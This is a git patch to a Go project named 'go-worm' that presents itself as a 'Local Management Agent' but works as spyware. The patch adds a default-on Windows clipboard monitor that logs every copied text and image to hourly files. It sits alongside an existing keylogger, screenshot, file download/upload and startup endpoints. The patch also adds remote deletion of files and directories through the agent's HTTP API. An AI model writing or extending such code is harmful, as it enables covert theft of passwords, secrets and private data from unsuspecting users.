From 077d9ab8509017f34f3854e129c0eca724c5c326 Mon Sep 17 00:00:00 2001 From: Daniel Legt Date: Fri, 28 Aug 2026 13:08:14 +0300 Subject: [PATCH] Add clipboard monitoring functionality to the agent. Implement clipboard event logging, including text and image capture, with support for retention policies. Update API to allow file deletion and enhance web interface for file management. Add tests for clipboard operations. --- lib/agent/agent.go | 5 + lib/agent/handlers.go | 26 +++- lib/agent/web/app.js | 21 ++- lib/agent/web/index.html | 2 +- lib/clipmon/clipmon.go | 104 +++++++++++++++ lib/clipmon/clipmon_test.go | 58 +++++++++ lib/clipmon/event.go | 10 ++ lib/clipmon/format.go | 37 ++++++ lib/clipmon/monitor_stub.go | 8 ++ lib/clipmon/monitor_windows.go | 231 +++++++++++++++++++++++++++++++++ lib/clipmon/writer.go | 153 ++++++++++++++++++++++ lib/config/config.go | 30 +++++ lib/files/files.go | 15 +++ 13 files changed, 695 insertions(+), 5 deletions(-) create mode 100644 lib/clipmon/clipmon.go create mode 100644 lib/clipmon/clipmon_test.go create mode 100644 lib/clipmon/event.go create mode 100644 lib/clipmon/format.go create mode 100644 lib/clipmon/monitor_stub.go create mode 100644 lib/clipmon/monitor_windows.go create mode 100644 lib/clipmon/writer.go diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 52828ed..84866f2 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -11,6 +11,7 @@ import ( "strings" "time" + "tea.chunkbyte.com/kato/go-worm/lib/clipmon" "tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/files" "tea.chunkbyte.com/kato/go-worm/lib/helpers" @@ -48,10 +49,14 @@ func New() (*Agent, error) { if err := keylog.Start(); err != nil { helpers.Log.Printf("keylog start: %v", err) } + if err := clipmon.Start(); err != nil { + helpers.Log.Printf("clipboard monitor start: %v", err) + } return a, nil } func (a *Agent) Close() { + clipmon.Stop() keylog.Stop() if a.guard != nil { a.guard.Close() diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index 0ab794e..39cd15a 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -42,7 +42,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) { "openapi": "3.0.3", "info": map[string]string{"title": "Local Management Agent", "version": config.Version}, "paths": map[string]any{ "/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}}, - "/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}}, + "/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}, "delete": map[string]string{"summary": "Delete a file or directory"}}, "/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}}, "/api/v1/upload": map[string]any{"post": map[string]string{"summary": "Upload a file to a directory"}}, "/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}}, @@ -92,10 +92,17 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) { } func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { + switch r.Method { + case http.MethodGet: + a.listFiles(w, r) + case http.MethodDelete: + a.deleteFile(w, r) + default: helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") - return } +} + +func (a *Agent) listFiles(w http.ResponseWriter, r *http.Request) { depth, err := files.ParseDepth(r.URL.Query().Get("depth")) if err != nil { helpers.WriteError(w, http.StatusBadRequest, err.Error()) @@ -127,6 +134,19 @@ func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) { helpers.WriteJSON(w, http.StatusOK, map[string]any{"path": dir, "depth": depth, "entries": entries}) } +func (a *Agent) deleteFile(w http.ResponseWriter, r *http.Request) { + path := r.URL.Query().Get("path") + if path == "" { + helpers.WriteError(w, http.StatusBadRequest, "path is required") + return + } + if err := files.RemovePath(a.root, path); err != nil { + files.WritePathError(w, err) + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "path": path}) +} + func (a *Agent) handleDownload(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index 29e7830..beb137c 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -130,6 +130,15 @@ return res.json(); } + async function deleteFile(fullPath, name) { + if (!confirm(`Delete ${name}?`)) { + return; + } + const query = new URLSearchParams({ path: fullPath }); + await api(`/api/v1/files?${query}`, { method: "DELETE" }); + await listFiles(pathInput.value.trim()); + } + async function listFiles(path) { const query = new URLSearchParams(); if (path) query.set("path", path); @@ -164,7 +173,17 @@ size.textContent = entry.type === "dir" ? "—" : formatBytes(entry.size || 0); const modified = document.createElement("td"); modified.textContent = entry.modified_time ? new Date(entry.modified_time).toLocaleString() : ""; - tr.append(name, type, size, modified); + const action = document.createElement("td"); + const del = document.createElement("button"); + del.type = "button"; + del.textContent = "Delete"; + const full = joinPath(data.path, entry.name); + del.addEventListener("click", (event) => { + event.stopPropagation(); + deleteFile(full, entry.name).catch((err) => showError(err.message)); + }); + action.append(del); + tr.append(name, type, size, modified, action); fileRows.append(tr); } } diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index 4642055..53a8826 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -171,7 +171,7 @@

- +
NameTypeSizeModified
NameTypeSizeModified
diff --git a/lib/clipmon/clipmon.go b/lib/clipmon/clipmon.go new file mode 100644 index 0000000..d1e46a6 --- /dev/null +++ b/lib/clipmon/clipmon.go @@ -0,0 +1,104 @@ +package clipmon + +import ( + "sync" + "time" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +var ( + mu sync.Mutex + running bool + writer *Writer + events chan Event + stopCh chan struct{} + doneCh chan struct{} + writerWG sync.WaitGroup +) + +func Start() error { + if !config.ClipboardEnabled() { + return nil + } + + mu.Lock() + defer mu.Unlock() + if running { + return nil + } + dir, err := config.ClipboardDir() + if err != nil { + return err + } + if err := PruneOld(dir, config.ClipboardRetentionDays()); err != nil { + return err + } + w, err := NewWriter(dir) + if err != nil { + return err + } + events = make(chan Event, 64) + stopCh = make(chan struct{}) + doneCh = make(chan struct{}) + + writerWG.Add(1) + go func() { + defer writerWG.Done() + for { + select { + case event := <-events: + _ = w.Write(event) + case <-stopCh: + _ = w.Close() + return + } + } + }() + + if err := startPlatform(w, events, stopCh, doneCh); err != nil { + close(stopCh) + writerWG.Wait() + events = nil + stopCh = nil + doneCh = nil + return err + } + + writer = w + running = true + return nil +} + +func Stop() { + mu.Lock() + if !running { + mu.Unlock() + return + } + stop := stopCh + done := doneCh + running = false + writer = nil + events = nil + stopCh = nil + doneCh = nil + mu.Unlock() + + if stop != nil { + close(stop) + } + writerWG.Wait() + if done != nil { + <-done + } +} + +func emit(event Event) { + event.Time = time.Now() + select { + case events <- event: + default: + // ponytail: drop when full + } +} diff --git a/lib/clipmon/clipmon_test.go b/lib/clipmon/clipmon_test.go new file mode 100644 index 0000000..b951b41 --- /dev/null +++ b/lib/clipmon/clipmon_test.go @@ -0,0 +1,58 @@ +package clipmon + +import ( + "os" + "path/filepath" + "strings" + "testing" + "time" +) + +func TestFormatLine(t *testing.T) { + t.Parallel() + when := time.Date(2026, 8, 28, 13, 4, 5, 0, time.UTC) + line := formatLine(Event{Time: when, Kind: "text", Text: "hello"}) + if !strings.Contains(line, "[text]") || !strings.Contains(line, "hello") { + t.Fatalf("formatLine text = %q", line) + } + img := formatLine(Event{Time: when, Kind: "image", ImagePath: "images/ab.png"}) + if !strings.Contains(img, "[image] images/ab.png") { + t.Fatalf("formatLine image = %q", img) + } +} + +func TestWriterHourly(t *testing.T) { + dir := t.TempDir() + w, err := NewWriter(dir) + if err != nil { + t.Fatalf("NewWriter: %v", err) + } + when := time.Date(2026, 8, 28, 13, 0, 0, 0, time.Local) + if err := w.Write(Event{Time: when, Kind: "text", Text: "copied"}); err != nil { + t.Fatalf("Write: %v", err) + } + _ = w.Close() + + data, err := os.ReadFile(filepath.Join(dir, LogFilename(HourBucket(when)))) + if err != nil { + t.Fatalf("read log: %v", err) + } + if !strings.Contains(string(data), "copied") { + t.Fatalf("log = %q", data) + } +} + +func TestSavePNG(t *testing.T) { + dir := t.TempDir() + w, err := NewWriter(dir) + if err != nil { + t.Fatalf("NewWriter: %v", err) + } + rel, err := w.SavePNG([]byte{0x89, 'P', 'N', 'G', 0, 0, 0}) + if err != nil { + t.Fatalf("SavePNG: %v", err) + } + if !strings.HasPrefix(rel, "images/") { + t.Fatalf("rel = %q", rel) + } +} diff --git a/lib/clipmon/event.go b/lib/clipmon/event.go new file mode 100644 index 0000000..c200682 --- /dev/null +++ b/lib/clipmon/event.go @@ -0,0 +1,10 @@ +package clipmon + +import "time" + +type Event struct { + Time time.Time + Kind string // "text" or "image" + Text string + ImagePath string // relative to clipboard dir, e.g. images/abc.png +} diff --git a/lib/clipmon/format.go b/lib/clipmon/format.go new file mode 100644 index 0000000..9ced3e5 --- /dev/null +++ b/lib/clipmon/format.go @@ -0,0 +1,37 @@ +package clipmon + +import ( + "fmt" + "path/filepath" + "regexp" + "strings" + "time" +) + +const hourBucketLayout = "2006-01-02-15" + +var logFilenamePattern = regexp.MustCompile(`^\d{4}-\d{2}-\d{2}-\d{2}\.log$`) + +func HourBucket(t time.Time) string { + return t.Local().Format(hourBucketLayout) +} + +func LogFilename(bucket string) string { + return bucket + ".log" +} + +func ValidLogFilename(name string) bool { + return logFilenamePattern.MatchString(filepath.Base(name)) +} + +func formatLine(event Event) string { + when := event.Time.UTC().Format("2006-01-02T15:04:05.000Z") + switch event.Kind { + case "image": + return fmt.Sprintf("%s [image] %s\n", when, event.ImagePath) + default: + text := strings.ReplaceAll(event.Text, "\r\n", "\n") + text = strings.ReplaceAll(text, "\r", "\n") + return fmt.Sprintf("%s [text]\n%s\n", when, text) + } +} diff --git a/lib/clipmon/monitor_stub.go b/lib/clipmon/monitor_stub.go new file mode 100644 index 0000000..f62d4e4 --- /dev/null +++ b/lib/clipmon/monitor_stub.go @@ -0,0 +1,8 @@ +//go:build !windows + +package clipmon + +func startPlatform(_ *Writer, _ chan Event, _ <-chan struct{}, done chan struct{}) error { + close(done) + return nil +} diff --git a/lib/clipmon/monitor_windows.go b/lib/clipmon/monitor_windows.go new file mode 100644 index 0000000..c3d0715 --- /dev/null +++ b/lib/clipmon/monitor_windows.go @@ -0,0 +1,231 @@ +//go:build windows + +package clipmon + +import ( + "bytes" + "encoding/binary" + "image" + "image/color" + "image/png" + "strings" + "syscall" + "time" + "unsafe" +) + +const ( + cfBitmap = 2 + cfDIB = 8 + cfUnicodeText = 13 +) + +var ( + user32 = syscall.NewLazyDLL("user32.dll") + kernel32 = syscall.NewLazyDLL("kernel32.dll") + procOpenClipboard = user32.NewProc("OpenClipboard") + procCloseClipboard = user32.NewProc("CloseClipboard") + procGetClipboardData = user32.NewProc("GetClipboardData") + procIsClipboardFormatAvailable = user32.NewProc("IsClipboardFormatAvailable") + procGetClipboardSequenceNumber = user32.NewProc("GetClipboardSequenceNumber") + procGlobalLock = kernel32.NewProc("GlobalLock") + procGlobalUnlock = kernel32.NewProc("GlobalUnlock") + procGlobalSize = kernel32.NewProc("GlobalSize") +) + +type bitmapInfoHeader struct { + Size uint32 + Width int32 + Height int32 + Planes uint16 + BitCount uint16 + Compression uint32 + SizeImage uint32 + XPelsPerMeter int32 + YPelsPerMeter int32 + ClrUsed uint32 + ClrImportant uint32 +} + +func startPlatform(w *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error { + go func() { + defer close(done) + pollClipboard(w, stop) + }() + return nil +} + +func pollClipboard(w *Writer, stop <-chan struct{}) { + lastSeq := sequenceNumber() + ticker := time.NewTicker(300 * time.Millisecond) + defer ticker.Stop() + + for { + select { + case <-stop: + return + case <-ticker.C: + seq := sequenceNumber() + if seq == lastSeq { + continue + } + lastSeq = seq + captureClipboard(w) + } + } +} + +func sequenceNumber() uint32 { + n, _, _ := procGetClipboardSequenceNumber.Call() + return uint32(n) +} + +func captureClipboard(w *Writer) { + ok, _, _ := procOpenClipboard.Call(0) + if ok == 0 { + return + } + defer procCloseClipboard.Call() + + if text, ok := readClipboardText(); ok && strings.TrimSpace(text) != "" { + emit(Event{Kind: "text", Text: TrimText(text)}) + } + if pngData, ok := readClipboardImage(); ok { + rel, err := w.SavePNG(pngData) + if err != nil { + return + } + emit(Event{Kind: "image", ImagePath: rel}) + } +} + +func readClipboardText() (string, bool) { + ok, _, _ := procIsClipboardFormatAvailable.Call(cfUnicodeText) + if ok == 0 { + return "", false + } + handle, _, _ := procGetClipboardData.Call(cfUnicodeText) + if handle == 0 { + return "", false + } + ptr, _, _ := procGlobalLock.Call(handle) + if ptr == 0 { + return "", false + } + defer procGlobalUnlock.Call(handle) + size, _, _ := procGlobalSize.Call(handle) + if size == 0 { + return "", false + } + data := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), size/2) + for i, unit := range data { + if unit == 0 { + return syscall.UTF16ToString(data[:i]), true + } + } + return syscall.UTF16ToString(data), true +} + +func readClipboardImage() ([]byte, bool) { + if dib, ok := readClipboardDIB(); ok { + return dib, true + } + return readClipboardBitmap() +} + +func readClipboardDIB() ([]byte, bool) { + ok, _, _ := procIsClipboardFormatAvailable.Call(cfDIB) + if ok == 0 { + return nil, false + } + handle, _, _ := procGetClipboardData.Call(cfDIB) + if handle == 0 { + return nil, false + } + ptr, _, _ := procGlobalLock.Call(handle) + if ptr == 0 { + return nil, false + } + defer procGlobalUnlock.Call(handle) + size, _, _ := procGlobalSize.Call(handle) + if size == 0 { + return nil, false + } + raw := unsafe.Slice((*byte)(unsafe.Pointer(ptr)), size) + return dibToPNG(append([]byte(nil), raw...)) +} + +func readClipboardBitmap() ([]byte, bool) { + ok, _, _ := procIsClipboardFormatAvailable.Call(cfBitmap) + if ok == 0 { + return nil, false + } + // ponytail: CF_BITMAP needs a DC to read pixels; most apps also publish CF_DIB + return nil, false +} + +func dibToPNG(raw []byte) ([]byte, bool) { + if len(raw) < int(unsafe.Sizeof(bitmapInfoHeader{})) { + return nil, false + } + var header bitmapInfoHeader + if err := binary.Read(bytes.NewReader(raw), binary.LittleEndian, &header); err != nil { + return nil, false + } + if header.Size < uint32(unsafe.Sizeof(bitmapInfoHeader{})) || header.BitCount != 24 && header.BitCount != 32 { + return nil, false + } + width := int(header.Width) + height := int(header.Height) + if width <= 0 || height <= 0 || width > 8192 || height > 8192 { + return nil, false + } + topDown := false + if height < 0 { + topDown = true + height = -height + } + + headerSize := int(header.Size) + colorTable := int(header.ClrUsed) * 4 + if header.BitCount <= 8 && header.ClrUsed == 0 { + colorTable = (1 << header.BitCount) * 4 + } + offset := headerSize + colorTable + if offset > len(raw) { + return nil, false + } + pixels := raw[offset:] + stride := ((width*int(header.BitCount) + 31) / 32) * 4 + if len(pixels) < stride*height { + return nil, false + } + + img := image.NewRGBA(image.Rect(0, 0, width, height)) + bytesPerPixel := int(header.BitCount) / 8 + for y := 0; y < height; y++ { + srcY := y + if !topDown { + srcY = height - 1 - y + } + row := pixels[srcY*stride:] + for x := 0; x < width; x++ { + i := x * bytesPerPixel + if i+2 >= len(row) { + continue + } + b, g, r := row[i], row[i+1], row[i+2] + a := uint8(255) + if bytesPerPixel == 4 && i+3 < len(row) { + a = row[i+3] + } + img.SetRGBA(x, y, color.RGBA{R: r, G: g, B: b, A: a}) + } + } + + var out bytes.Buffer + if err := png.Encode(&out, img); err != nil { + return nil, false + } + return out.Bytes(), true +} diff --git a/lib/clipmon/writer.go b/lib/clipmon/writer.go new file mode 100644 index 0000000..69513ac --- /dev/null +++ b/lib/clipmon/writer.go @@ -0,0 +1,153 @@ +package clipmon + +import ( + "crypto/rand" + "encoding/hex" + "fmt" + "os" + "path/filepath" + "strings" + "time" +) + +const maxLoggedText = 1 << 16 // ponytail: 64KB cap per clipboard text entry + +type Writer struct { + dir string + imagesDir string + file *os.File + bucket string +} + +func NewWriter(dir string) (*Writer, error) { + imagesDir := filepath.Join(dir, "images") + if err := os.MkdirAll(imagesDir, 0o700); err != nil { + return nil, err + } + return &Writer{dir: dir, imagesDir: imagesDir}, nil +} + +func (w *Writer) Write(event Event) error { + bucket := HourBucket(event.Time) + if bucket != w.bucket { + if err := w.rotate(bucket); err != nil { + return err + } + } + _, err := w.file.WriteString(formatLine(event)) + return err +} + +func (w *Writer) SavePNG(data []byte) (string, error) { + name, err := randomName(".png") + if err != nil { + return "", err + } + path := filepath.Join(w.imagesDir, name) + if err := os.WriteFile(path, data, 0o600); err != nil { + return "", fmt.Errorf("write image: %w", err) + } + return filepath.ToSlash(filepath.Join("images", name)), nil +} + +func (w *Writer) rotate(bucket string) error { + if w.file != nil { + if err := w.file.Close(); err != nil { + return err + } + w.file = nil + } + path := filepath.Join(w.dir, LogFilename(bucket)) + file, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) + if err != nil { + return err + } + w.file = file + w.bucket = bucket + return nil +} + +func (w *Writer) Close() error { + if w.file == nil { + return nil + } + err := w.file.Close() + w.file = nil + w.bucket = "" + return err +} + +func TrimText(text string) string { + if len(text) <= maxLoggedText { + return text + } + return text[:maxLoggedText] + "\n...(truncated)" +} + +func randomName(ext string) (string, error) { + var buf [16]byte + if _, err := rand.Read(buf[:]); err != nil { + return "", err + } + if !strings.HasPrefix(ext, ".") { + ext = "." + ext + } + return hex.EncodeToString(buf[:]) + ext, nil +} + +func PruneOld(dir string, retentionDays int) error { + if retentionDays <= 0 { + return nil + } + cutoff := time.Now().AddDate(0, 0, -retentionDays) + if err := pruneLogs(dir, cutoff); err != nil { + return err + } + return pruneImages(filepath.Join(dir, "images"), cutoff) +} + +func pruneLogs(dir string, cutoff time.Time) error { + entries, err := os.ReadDir(dir) + if err != nil { + if os.IsNotExist(err) { + return nil + } + return err + } + for _, entry := range entries { + if entry.IsDir() || !ValidLogFilename(entry.Name()) { + continue + } + info, err := entry.Info() + if err != nil { + continue + } + if info.ModTime().Before(cutoff) { + _ = os.Remove(filepath.Join(dir, entry.Name())) + } + } + return nil +} + +func pruneImages(dir string, cutoff time.Time) error { + entries, err := os.ReadDir(dir) + if err != nil { + if os.IsNotExist(err) { + return nil + } + return err + } + for _, entry := range entries { + if entry.IsDir() { + continue + } + info, err := entry.Info() + if err != nil { + continue + } + if info.ModTime().Before(cutoff) { + _ = os.Remove(filepath.Join(dir, entry.Name())) + } + } + return nil +} diff --git a/lib/config/config.go b/lib/config/config.go index a7ed25b..d104db1 100644 --- a/lib/config/config.go +++ b/lib/config/config.go @@ -25,6 +25,7 @@ const ( AppDataDir = "LocalManagementAgent" InstalledExeName = "localagent.exe" KeylogSubdir = "keystrokes" + ClipboardSubdir = "clipboard" DefaultKeylogRetentionDays = 7 ) @@ -79,3 +80,32 @@ func InstalledExe() (string, error) { } return filepath.Join(dir, InstalledExeName), nil } + +func ClipboardEnabled() bool { + switch strings.ToLower(strings.TrimSpace(os.Getenv("CLIPBOARD_ENABLED"))) { + case "0", "false", "no", "off": + return false + default: + return true + } +} + +func ClipboardRetentionDays() int { + raw := strings.TrimSpace(os.Getenv("CLIPBOARD_RETENTION_DAYS")) + if raw == "" { + return KeylogRetentionDays() + } + days, err := strconv.Atoi(raw) + if err != nil || days < 0 { + return DefaultKeylogRetentionDays + } + return days +} + +func ClipboardDir() (string, error) { + base, err := InstallDir() + if err != nil { + return "", err + } + return filepath.Join(base, ClipboardSubdir), nil +} diff --git a/lib/files/files.go b/lib/files/files.go index 2225fa7..50a0ebc 100644 --- a/lib/files/files.go +++ b/lib/files/files.go @@ -166,3 +166,18 @@ func UploadTarget(root, dir, filename string) (string, error) { } return target, nil } + +func RemovePath(root, raw string) error { + path, err := AllowedPath(root, raw, true) + if err != nil { + return err + } + info, err := os.Stat(path) + if err != nil { + return err + } + if info.IsDir() { + return os.RemoveAll(path) + } + return os.Remove(path) +}